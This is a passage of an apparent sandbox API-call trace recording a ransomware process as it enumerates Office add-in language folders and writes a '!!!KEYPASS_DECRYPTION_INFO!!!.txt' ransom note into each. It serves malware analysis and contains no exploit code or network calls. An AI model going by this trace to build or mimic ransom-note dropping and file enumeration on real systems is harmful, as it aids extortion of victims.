lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.458] CloseHandle (hObject=0x834) returned 1 [0251.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900530 [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\AdHocReportingExcelClient.dll") returned=".dll" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.459] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap") returned=".xap" [0251.459] FindNextFileW (in: hFindFile=0x3900530, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.459] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.459] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.459] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.460] GetLastError () returned 0x3f0 [0251.460] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.460] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0251.497] GetFileType (hFile=0x830) returned 0x1 [0251.497] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.497] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.497] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.498] WriteFile (in: hFile=0x830, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.498] WriteFile (in: hFile=0x830, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.499] CloseHandle (hObject=0x830) returned 1 [0251.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39873f8 [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\AdHocReportingExcelClient.dll") returned=".dll" [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.500] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.500] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.501] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.501] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap") returned=".xap" [0251.501] FindNextFileW (in: hFindFile=0x39873f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.501] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.501] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.501] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.501] GetLastError () returned 0x3f0 [0251.501] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.501] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0251.756] GetFileType (hFile=0x838) returned 0x1 [0251.756] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.756] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.756] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.756] WriteFile (in: hFile=0x838, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.757] WriteFile (in: hFile=0x838, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.757] CloseHandle (hObject=0x838) returned 1 [0251.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987678 [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\AdHocReportingExcelClient.dll") returned=".dll" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.758] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap") returned=".xap" [0251.758] FindNextFileW (in: hFindFile=0x3987678, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.758] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.758] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.758] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.758] GetLastError () returned 0x3f0 [0251.759] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.759] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0251.763] GetFileType (hFile=0x840) returned 0x1 [0251.763] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.763] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.763] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.763] WriteFile (in: hFile=0x840, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.764] WriteFile (in: hFile=0x840, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.764] CloseHandle (hObject=0x840) returned 1 [0251.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987538 [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\AdHocReportingExcelClient.dll") returned=".dll" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.765] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap") returned=".xap" [0251.765] FindNextFileW (in: hFindFile=0x3987538, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.765] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.765] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.765] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.765] GetLastError () returned 0x3f0 [0251.765] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.766] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0251.768] GetFileType (hFile=0x844) returned 0x1 [0251.768] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.768] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.768] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.768] WriteFile (in: hFile=0x844, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.769] WriteFile (in: hFile=0x844, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.769] CloseHandle (hObject=0x844) returned 1 [0251.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987878 [0251.770] FindNextFileW (in: hFindFile=0x3987878, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.770] FindNextFileW (in: hFindFile=0x3987878, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.770] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.770] FindNextFileW (in: hFindFile=0x3987878, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.770] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.770] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.770] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.770] GetLastError () returned 0x3f0 [0251.770] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.770] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0251.783] GetFileType (hFile=0x83c) returned 0x1 [0251.783] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.783] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.783] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.783] WriteFile (in: hFile=0x83c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.784] WriteFile (in: hFile=0x83c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.784] CloseHandle (hObject=0x83c) returned 1 [0251.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39875b8 [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\AdHocReportingExcelClient.dll") returned=".dll" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel 